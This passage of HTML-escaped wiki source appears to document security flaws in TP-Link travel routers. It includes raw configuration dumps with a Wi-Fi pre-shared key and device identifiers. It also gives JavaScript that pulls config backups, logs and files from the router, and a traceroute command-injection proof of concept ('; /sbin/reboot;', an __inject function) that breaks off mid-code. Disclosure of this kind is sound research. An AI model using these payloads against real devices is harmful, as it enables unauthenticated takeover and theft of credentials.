localTimeZoneName=&lt;br /&gt;
daylightSavingsUsed=0&lt;br /&gt;
daylightSavingsStart=&lt;br /&gt;
daylightSavingsEnd=&lt;br /&gt;
X_TP_DaylightSavingsStartWeekCount=0&lt;br /&gt;
X_TP_DaylightSavingsEndWeekCount=0&lt;br /&gt;
X_TP_ShowDaylightSavingOnWeb=1&lt;br /&gt;
[0,0,0,0,0,0]18&lt;br /&gt;
year=2020&lt;br /&gt;
month=6&lt;br /&gt;
day=28&lt;br /&gt;
hours=21&lt;br /&gt;
minutes=31&lt;br /&gt;
seconds=33&lt;br /&gt;
[0,0,0,0,0,0]19&lt;br /&gt;
__defaultGateway=192.168.0.1&lt;br /&gt;
__ifName=eth0.2&lt;br /&gt;
__ifAliasName=ewan_ipoe_d&lt;br /&gt;
defaultConnectionService=&lt;br /&gt;
forwardNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]20&lt;br /&gt;
__defaultGateway=::&lt;br /&gt;
__ifName=eth0.2&lt;br /&gt;
__ifAliasName=ewan_ipoev6_d&lt;br /&gt;
defaultConnectionService=&lt;br /&gt;
IPv6ForwardNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]21&lt;br /&gt;
maxBridgeEntries=16&lt;br /&gt;
maxFilterEntries=64&lt;br /&gt;
maxMarkingEntries=0&lt;br /&gt;
bridgeNumberOfEntries=1&lt;br /&gt;
filterNumberOfEntries=7&lt;br /&gt;
markingNumberOfEntries=0&lt;br /&gt;
availableInterfaceNumberOfEntries=7&lt;br /&gt;
[0,0,0,0,0,0]22&lt;br /&gt;
IPAddress=192.168.1.100&lt;br /&gt;
leaseTimeRemaining=5737&lt;br /&gt;
MACAddress=XX:XX:XX:XX:XX:XX&lt;br /&gt;
hostName=Z&lt;br /&gt;
X_TP_ConnType=1&lt;br /&gt;
[0,0,0,0,0,0]23&lt;br /&gt;
bytesSent=0&lt;br /&gt;
bytesReceived=0&lt;br /&gt;
packetsSent=0&lt;br /&gt;
packetsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]24&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]25&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]26&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]27&lt;br /&gt;
enable=0&lt;br /&gt;
interval=10&lt;br /&gt;
action=0&lt;br /&gt;
[0,0,0,0,0,0]28&lt;br /&gt;
enable=0&lt;br /&gt;
enableIcmpFilter=0&lt;br /&gt;
icmpThreshold=50&lt;br /&gt;
enableUdpFilter=0&lt;br /&gt;
udpThreshold=500&lt;br /&gt;
enableSynFilter=0&lt;br /&gt;
synThreshold=50&lt;br /&gt;
forbidLanPing=0&lt;br /&gt;
forbidWanPing=1&lt;br /&gt;
action=0&lt;br /&gt;
[0,0,0,0,0,0]29&lt;br /&gt;
enable=0&lt;br /&gt;
[0,0,0,0,0,0]30&lt;br /&gt;
TCRuleNumberOfEntries=0&lt;br /&gt;
enable=0&lt;br /&gt;
linkType=0&lt;br /&gt;
upTotalBW=0&lt;br /&gt;
downTotalBW=0&lt;br /&gt;
iptvEnable=0&lt;br /&gt;
iptvUpMinBW=0&lt;br /&gt;
iptvDownMinBW=0&lt;br /&gt;
voIPEnable=0&lt;br /&gt;
voIPUpMinBW=20&lt;br /&gt;
[0,0,0,0,0,0]31&lt;br /&gt;
pptpAlg=1&lt;br /&gt;
l2tpAlg=1&lt;br /&gt;
ipSecAlg=1&lt;br /&gt;
ftpAlg=1&lt;br /&gt;
tftpAlg=1&lt;br /&gt;
h323Alg=1&lt;br /&gt;
sipAlg=1&lt;br /&gt;
rtspAlg=1&lt;br /&gt;
hw_nat_enable=0&lt;br /&gt;
[0,0,0,0,0,0]32&lt;br /&gt;
enable=0&lt;br /&gt;
defaultAction=0&lt;br /&gt;
enalbeParentCtrl=0&lt;br /&gt;
parentMac=&lt;br /&gt;
[0,0,0,0,0,0]33&lt;br /&gt;
enable=0&lt;br /&gt;
defaultAction=0&lt;br /&gt;
[0,0,0,0,0,0]34&lt;br /&gt;
mechanism=2&lt;br /&gt;
associatedWanIfName=&lt;br /&gt;
enabled=0&lt;br /&gt;
localAddress=&lt;br /&gt;
associatedLanIfName=br0&lt;br /&gt;
[0,0,0,0,0,0]35&lt;br /&gt;
enabled=0&lt;br /&gt;
dynamic=0&lt;br /&gt;
remoteIPv6Address=&lt;br /&gt;
[0,0,0,0,0,0]36&lt;br /&gt;
enabled=0&lt;br /&gt;
dynamic=0&lt;br /&gt;
IPv4MaskLen=0&lt;br /&gt;
prefix=&lt;br /&gt;
prefixLen=0&lt;br /&gt;
borderRelayIPv4Address=&lt;br /&gt;
[0,0,0,0,0,0]37&lt;br /&gt;
enable=1&lt;br /&gt;
userAccountNumberOfEntries=0&lt;br /&gt;
physicalMediumNumberOfEntries=0&lt;br /&gt;
logicalVolumeNumberOfEntries=0&lt;br /&gt;
ready=1&lt;br /&gt;
[0,0,0,0,0,0]38&lt;br /&gt;
FTPCapable=1&lt;br /&gt;
supportedNetworkProtocols=SMB&lt;br /&gt;
supportedFileSystemTypes=FAT16,FAT32,NTFS&lt;br /&gt;
[0,0,0,0,0,0]39&lt;br /&gt;
targetPath=&lt;br /&gt;
[0,0,0,0,0,0]40&lt;br /&gt;
serverState=0&lt;br /&gt;
serverName=MediaShare:1&lt;br /&gt;
scanFlag=0&lt;br /&gt;
scanInterval=3600&lt;br /&gt;
[0,0,0,0,0,0]41&lt;br /&gt;
enable=1&lt;br /&gt;
anonymous=1&lt;br /&gt;
modified=0&lt;br /&gt;
[0,0,0,0,0,0]42&lt;br /&gt;
enable=1&lt;br /&gt;
portNumber=21&lt;br /&gt;
accessFromInternet=0&lt;br /&gt;
wanIP=0.0.0.0&lt;br /&gt;
modified=0&lt;br /&gt;
[0,0,0,0,0,0]43&lt;br /&gt;
mode=ETH&lt;br /&gt;
DSLL3ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3ForwardingName=NO_INTERFACE&lt;br /&gt;
_3GL3ForwardingName=NO_INTERFACE&lt;br /&gt;
DSLL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
[0,0,0,0,0,0]44&lt;br /&gt;
enable=1&lt;br /&gt;
MACAddress=&lt;br /&gt;
ifName=eth0.2&lt;br /&gt;
[0,0,0,0,0,0]45&lt;br /&gt;
alias=&lt;br /&gt;
legality=0&lt;br /&gt;
illegalType=0&lt;br /&gt;
tcspStatus=1&lt;br /&gt;
[0,0,0,0,0,0]46&lt;br /&gt;
type=0&lt;br /&gt;
version=&lt;br /&gt;
releaseDate=&lt;br /&gt;
releaseLog=&lt;br /&gt;
url=&lt;br /&gt;
start=0&lt;br /&gt;
status=0&lt;br /&gt;
progress=0&lt;br /&gt;
[0,0,0,0,0,0]47&lt;br /&gt;
email=&lt;br /&gt;
passwd=&lt;br /&gt;
needUnbind=0&lt;br /&gt;
md5Crypt=0&lt;br /&gt;
[0,0,0,0,0,0]48&lt;br /&gt;
nickname=&lt;br /&gt;
role=-1&lt;br /&gt;
token=&lt;br /&gt;
ewebURL=&lt;br /&gt;
action=0&lt;br /&gt;
status=0&lt;br /&gt;
[0,0,0,0,0,0]49&lt;br /&gt;
enable=1&lt;br /&gt;
boundDomain=&lt;br /&gt;
tmpDomainName=&lt;br /&gt;
action=0&lt;br /&gt;
status=0&lt;br /&gt;
[0,0,0,0,0,0]50&lt;br /&gt;
domainName=&lt;br /&gt;
regDate=&lt;br /&gt;
isBind=0&lt;br /&gt;
[0,0,0,0,0,0]51&lt;br /&gt;
enable=1&lt;br /&gt;
errorType=0&lt;br /&gt;
[0,0,0,0,0,0]52&lt;br /&gt;
isIgnored=0&lt;br /&gt;
ignoredTime=0&lt;br /&gt;
[0,0,0,0,0,0]53&lt;br /&gt;
diagnosticsState=None&lt;br /&gt;
maximumResponseTime=0&lt;br /&gt;
minimumResponseTime=65535&lt;br /&gt;
averageResponseTime=0&lt;br /&gt;
failureCount=0&lt;br /&gt;
successCount=0&lt;br /&gt;
X_TP_PktSequence=0&lt;br /&gt;
X_TP_ResponseTime=0&lt;br /&gt;
X_TP_IPAddress=0.0.0.0&lt;br /&gt;
X_TP_Result=&lt;br /&gt;
X_TP_ConnName=&lt;br /&gt;
X_TP_IfName=&lt;br /&gt;
DSCP=0&lt;br /&gt;
dataBlockSize=64&lt;br /&gt;
timeout=100&lt;br /&gt;
numberOfRepetitions=2&lt;br /&gt;
host=0.0.0.0&lt;br /&gt;
interface=&lt;br /&gt;
[0,0,0,0,0,0]54&lt;br /&gt;
diagnosticsState=None&lt;br /&gt;
routeHopsNumberOfEntries=0&lt;br /&gt;
responseTime=0&lt;br /&gt;
maxHopCount=30&lt;br /&gt;
DSCP=0&lt;br /&gt;
dataBlockSize=64&lt;br /&gt;
timeout=5&lt;br /&gt;
numberOfTries=2&lt;br /&gt;
X_TP_HopSeq=0&lt;br /&gt;
X_TP_IPAddress=0.0.0.0&lt;br /&gt;
X_TP_Result=&lt;br /&gt;
X_TP_ConnName=&lt;br /&gt;
X_TP_IfName=&lt;br /&gt;
host=&lt;br /&gt;
interface=&lt;br /&gt;
[0,0,0,0,0,0]55&lt;br /&gt;
enable=1&lt;br /&gt;
internetGroupVlanID=2&lt;br /&gt;
internetGroupExtendID=0&lt;br /&gt;
internetGroupLanPort=255&lt;br /&gt;
internetGroupPriority=0&lt;br /&gt;
internetUntag=1&lt;br /&gt;
workingMode=&lt;br /&gt;
[0,0,0,0,0,0]56&lt;br /&gt;
disableIPv6=1&lt;br /&gt;
lastUsedWanConnection=&lt;br /&gt;
[0,0,0,0,0,0]57&lt;br /&gt;
online=0&lt;br /&gt;
[0,0,0,0,0,0]58&lt;br /&gt;
oneKeyRePressed=0&lt;br /&gt;
mode=Router&lt;br /&gt;
first_login=0&lt;br /&gt;
router_IPInterfaceIPAddress=&lt;br /&gt;
router_IPInterfaceSubnetMask=&lt;br /&gt;
[0,0,0,0,0,0]59&lt;br /&gt;
enable=0&lt;br /&gt;
IPAddress=&lt;br /&gt;
interval=10&lt;br /&gt;
delay=5&lt;br /&gt;
failCount=5&lt;br /&gt;
[1,2,0,0,0,0]60&lt;br /&gt;
__syncApStatus=0&lt;br /&gt;
__apLastStatus=3&lt;br /&gt;
enable=1&lt;br /&gt;
status=Up&lt;br /&gt;
name=wlan5&lt;br /&gt;
BSSID=98:DA:C4:6E:00:FB&lt;br /&gt;
channel=36&lt;br /&gt;
autoChannelEnable=0&lt;br /&gt;
X_TP_PreSSID=TP-Link&lt;br /&gt;
SSID=TP-Link_00FC_5G&lt;br /&gt;
beaconType=11i&lt;br /&gt;
MACAddressControlEnabled=0&lt;br /&gt;
X_TP_MACAddressControlRule=deny&lt;br /&gt;
X_TP_MACTableSize=0&lt;br /&gt;
X_TP_Configuration_Modified=0&lt;br /&gt;
X_TP_Band=5GHz&lt;br /&gt;
X_TP_Bandwidth=Auto&lt;br /&gt;
standard=ac&lt;br /&gt;
WEPKeyIndex=1&lt;br /&gt;
WEPEncryptionLevel=Disabled,40-bits,104-bits&lt;br /&gt;
basicEncryptionModes=None&lt;br /&gt;
basicAuthenticationMode=None&lt;br /&gt;
WPAEncryptionModes=TKIPandAESEncryption&lt;br /&gt;
WPAAuthenticationMode=PSKAuthentication&lt;br /&gt;
IEEE11iEncryptionModes=AESEncryption&lt;br /&gt;
IEEE11iAuthenticationMode=PSKAuthentication&lt;br /&gt;
X_TP_PreSharedKey=37490720&lt;br /&gt;
X_TP_GroupKeyUpdateInterval=0&lt;br /&gt;
possibleChannels=&lt;br /&gt;
basicDataTransmitRates=6,12,24,&lt;br /&gt;
operationalDataTransmitRates=1,2,5.5,11,6,9,12,18,&lt;br /&gt;
possibleDataTransmitRates=&lt;br /&gt;
SSIDAdvertisementEnabled=1&lt;br /&gt;
transmitPowerSupported=100,50,20&lt;br /&gt;
transmitPower=100&lt;br /&gt;
regulatoryDomain=DE &lt;br /&gt;
deviceOperationMode=InfrastructureAccessPoint&lt;br /&gt;
X_TP_RadiusServerIP=&lt;br /&gt;
X_TP_RadiusServerPort=1812&lt;br /&gt;
X_TP_RadiusServerPassword=&lt;br /&gt;
WMMEnable=1&lt;br /&gt;
X_TP_BeaconInterval=100&lt;br /&gt;
X_TP_RTSThreshold=2346&lt;br /&gt;
X_TP_FragmentThreshold=2346&lt;br /&gt;
X_TP_DTIMFrequency=1&lt;br /&gt;
X_TP_IsolateClients=0&lt;br /&gt;
X_TP_ShortGIEnable=1&lt;br /&gt;
totalAssociations=65&lt;br /&gt;
maxStaNum=32&lt;br /&gt;
X_TP_ShowRegionSelectionOnWeb=0&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 190428&lt;br /&gt;
var act_get_oid_list = [&amp;quot;IGD_DEV_INFO&amp;quot;, &amp;quot;ETH_SWITCH&amp;quot;, &amp;quot;SYS_MODE&amp;quot;, &amp;quot;MULTIMODE&amp;quot;]&lt;br /&gt;
for(let i=0; i&amp;lt;act_get_oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GET, act_get_oid_list[i]);&lt;br /&gt;
}&lt;br /&gt;
$.exe(null, false, 0);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example Results (50 lines) (includes &amp;quot;softwareVersion&amp;quot; version)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;[0,0,0,0,0,0]0&lt;br /&gt;
manufacturer=TP-Link&lt;br /&gt;
manufacturerOUI=74DA88&lt;br /&gt;
modelName=TL-WR802N&lt;br /&gt;
description=TP-Link Wireless N Nano Router WR802N &lt;br /&gt;
productClass=IGD&lt;br /&gt;
serialNumber=74DA88FCC3AE&lt;br /&gt;
hardwareVersion=TL-WR802N v4 00000004&lt;br /&gt;
softwareVersion=0.9.1 3.17 v0001.0 Build 190428 Rel.63523n&lt;br /&gt;
modemFirmwareVersion=&lt;br /&gt;
enabledOptions=&lt;br /&gt;
additionalHardwareVersion=00000004&lt;br /&gt;
additionalSoftwareVersion=&lt;br /&gt;
specVersion=1.0&lt;br /&gt;
provisioningCode=&lt;br /&gt;
upTime=76&lt;br /&gt;
firstUseDate=&lt;br /&gt;
deviceLog=0x58801d6c&lt;br /&gt;
X_TP_HardwareID=FEDC62EBE64D50D422C775E201ADCE6F&lt;br /&gt;
X_TP_FirmwareID=E24EF98E8F388F5387CC7AEA4D362363&lt;br /&gt;
X_TP_HardwareDescription=TL-WR802N 4.0&lt;br /&gt;
X_TP_isFD=1&lt;br /&gt;
X_TP_DevManufacturerURL=http://www.tp-link.com&lt;br /&gt;
X_TP_DevModelVersion=4.0&lt;br /&gt;
X_TP_ProductID=134348804&lt;br /&gt;
X_TP_ProductVersion=1&lt;br /&gt;
X_TP_SoftwareRevision=1437205265&lt;br /&gt;
X_TP_SoftwareRevisionMinor=0&lt;br /&gt;
X_TP_PlatformVersion=2768242945&lt;br /&gt;
X_TP_BuildDate=190428&lt;br /&gt;
X_TP_BuildTime=63523&lt;br /&gt;
[0,0,0,0,0,0]1&lt;br /&gt;
enableVirtualPorts=0&lt;br /&gt;
numberOfVirtualPorts=4&lt;br /&gt;
ifName=eth0&lt;br /&gt;
[0,0,0,0,0,0]2&lt;br /&gt;
mode=ETH&lt;br /&gt;
DSLL3ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3ForwardingName=NO_INTERFACE&lt;br /&gt;
_3GL3ForwardingName=NO_INTERFACE&lt;br /&gt;
DSLL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
[0,0,0,0,0,0]3&lt;br /&gt;
oneKeyRePressed=0&lt;br /&gt;
mode=Router&lt;br /&gt;
first_login=0&lt;br /&gt;
router_IPInterfaceIPAddress=192.168.0.1&lt;br /&gt;
router_IPInterfaceSubnetMask=255.255.255.0&lt;br /&gt;
router_ConnName=&lt;br /&gt;
[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the server configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
// Firmware: 170828, 190428&lt;br /&gt;
$.ajax(&lt;br /&gt;
{&lt;br /&gt;
	type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
	url: &amp;quot;http://192.168.1.1/cgi/conf.bin?&amp;quot;,&lt;br /&gt;
	success:function(data) {&lt;br /&gt;
		console.log(data);&lt;br /&gt;
	},&lt;br /&gt;
	error:function(errno) {&lt;br /&gt;
		console.log(errno);&lt;br /&gt;
    }&lt;br /&gt;
});&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the server logs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.ajax({&lt;br /&gt;
	type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
	url: &amp;quot;/cgi/log?&amp;quot;,&lt;br /&gt;
	success: data =&amp;gt; console.log(data)&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* Example Results&lt;br /&gt;
1970-01-01 00:00:14 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:16 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:19 [5] DHCPC: Send DISCOVER with request ip 0.0.0.0 and unicast flag 0&lt;br /&gt;
1970-01-01 00:00:20 [5] DHCPC: Recv OFFER from server 192.168.0.1 with ip 192.168.0.107&lt;br /&gt;
1970-01-01 00:00:21 [5] DHCPC: Send REQUEST to server 192.168.0.1 with request ip 192.168.0.107&lt;br /&gt;
1970-01-01 00:00:22 [5] DHCPC: Recv ACK from server 192.168.0.1 with ip 192.168.0.107 lease time 3600&lt;br /&gt;
1970-01-01 00:00:22 [5] DHCPC: Recv DNS server address 192.168.0.1,0,0,0,0&lt;br /&gt;
2020-06-28 22:48:18 [5] DHCPD: Recv REQUEST from XX:XX:XX:XX:XX:XX&lt;br /&gt;
2020-06-28 22:48:19 [5] DHCPD: Send ACK to 192.168.1.100*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download any file from the Webserver&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828, 190428&lt;br /&gt;
let __getFile = path =&amp;gt; {&lt;br /&gt;
	$.ajax({&lt;br /&gt;
		type: &amp;quot;POST&amp;quot;,&lt;br /&gt;
		url: path,&lt;br /&gt;
		success: data =&amp;gt; console.log(data),&lt;br /&gt;
		error: errno =&amp;gt; console.log(errno)&lt;br /&gt;
	});&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
__getFile(&amp;quot;/cgi/info&amp;quot;);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Code Injection&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;Similar to the already listed [https://www.cvedetails.com/cve/CVE-2019-15060/ CVE-2019-15060] concerning the TL-WR840N router with firmware 0.9.1 3.16, the traceroute function on the TP-Link TL-WR902AC v4 with firmware 0.9.1 0.1 (170828) is vulnerable to remote code execution via a crafted payload in an IP address input field. This again works totally unauthenticated from the login screen or via forget packet using cURL. The TL-WR802N with firmware 0.9.1 3.17 isn&#039;t affected anymore. While the [[#Denial-of-Service|DoS]] attack using the same traceroute function exists in both firmware versions.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Command Injection via CGI Examples&amp;lt;/b&amp;gt; &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!--// V0&lt;br /&gt;
traceroute_diag_attributes = [&lt;br /&gt;
	&amp;quot;diagnosticsState&amp;quot;,&lt;br /&gt;
	&amp;quot;routeHopsNumberOfEntries&amp;quot;,&lt;br /&gt;
	&amp;quot;responseTime&amp;quot;,&lt;br /&gt;
	&amp;quot;maxHopCount&amp;quot;,&lt;br /&gt;
	&amp;quot;DSCP&amp;quot;,&lt;br /&gt;
	&amp;quot;dataBlockSize&amp;quot;,&lt;br /&gt;
	&amp;quot;timeout&amp;quot;,&lt;br /&gt;
	&amp;quot;numberOfTries&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_HopSeq&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_IPAddress&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_Result&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_ConnName&amp;quot;,&lt;br /&gt;
	&amp;quot;X_TP_IfName&amp;quot;,&lt;br /&gt;
	&amp;quot;host&amp;quot;,&lt;br /&gt;
	&amp;quot;interface&amp;quot;&lt;br /&gt;
];&lt;br /&gt;
&lt;br /&gt;
_tracert = $.act(ACT_GET, TRACEROUTE_DIAG, null, null, [&amp;quot;maxHopCount&amp;quot;, &amp;quot;timeout&amp;quot;, &amp;quot;numberOfTries&amp;quot;, &amp;quot;host&amp;quot;, &amp;quot;dataBlockSize&amp;quot;, &amp;quot;X_TP_ConnName&amp;quot;, &amp;quot;diagnosticsState&amp;quot;, &amp;quot;X_TP_HopSeq&amp;quot;]);&lt;br /&gt;
&lt;br /&gt;
if (!$.exe())&lt;br /&gt;
{&lt;br /&gt;
	_tracert.diagnosticsState = &amp;quot;Requested&amp;quot;;&lt;br /&gt;
	_tracert.host 			 = &amp;quot;; /sbin/reboot;&amp;quot;;&lt;br /&gt;
	_tracert.dataBlockSize 	 = 64;&lt;br /&gt;
	_tracert.timeout 		 = 5;&lt;br /&gt;
	_tracert.numberOfTries 	 = 2;&lt;br /&gt;
	_tracert.maxHopCount 	 = 30;&lt;br /&gt;
	_tracert.X_TP_ConnName 	 = &amp;quot;lo0&amp;quot;&lt;br /&gt;
	_tracert.X_TP_HopSeq 	 = 0;&lt;br /&gt;
&lt;br /&gt;
	$.act(ACT_SET, TRACEROUTE_DIAG, null, null, _tracert);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe()) &lt;br /&gt;
	{&lt;br /&gt;
		$.act(ACT_OP, ACT_OP_TRACERT);&lt;br /&gt;
		$.exe()&lt;br /&gt;
		&lt;br /&gt;
		$.act(ACT_GET, TRACEROUTE_DIAG);&lt;br /&gt;
		console.log($.exe());&lt;br /&gt;
	}	&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// V0.1&lt;br /&gt;
let __inject = command =&amp;gt; {&lt;br /&gt;
	tracert = $.act(ACT_GET, TRACEROUTE_DIAG, null, null, [&lt;br /&gt;
		&amp;quot;diagnosticsState&amp;quot;, &lt;br /&gt;
		&amp;quot;host&amp;quot;, &lt;br /&gt;
		&amp;quot;dataBlockSize&amp;quot;,&lt;br /&gt;
		&amp;quot;timeout&amp;quot;, &lt;br /&gt;
		&amp;quot;numberOfTries&amp;quot;,  &lt;br /&gt;
		&amp;quot;maxHopCount&amp;quot;, &lt;br /&gt;
		&amp;quot;X_TP_ConnName&amp;quot;, &lt;br /&gt;
		&amp;quot;X_TP_HopSeq&amp;quot;,&lt;br /&gt;
		&amp;quot;interface&amp;quot;&lt;br /&gt;
	]);&lt;br /&gt;
&lt;br /&gt;
	if (!$.exe())&lt;br /&gt;
	{&lt;br /&gt;
		tracert.diagnosticsState = &amp;quot;Requested&amp;quot;;&lt;br /&gt;
		tracert.host 			 = command;&lt;br /&gt;
		tracert.dataBlockSize 	 = 64;&lt;br /&gt;
		tracert.timeout 		 = 5;&lt;br /&gt;
		tracert.numberOfTries 	 = 2;&lt;br /&gt;
		tracert.maxHopCount 	 = 30;&lt;br /&gt;
		tracert.X_TP_ConnName 	 = &amp;quot;lo0&amp;quot;&lt;br /&gt;
		tracert.X_TP_HopSeq 	 = 0;&lt;br /&gt;
&lt;br /&gt;
		$.act(ACT_SET, TRACEROUTE_DIAG, null, null, tracert);&lt;br /&gt;
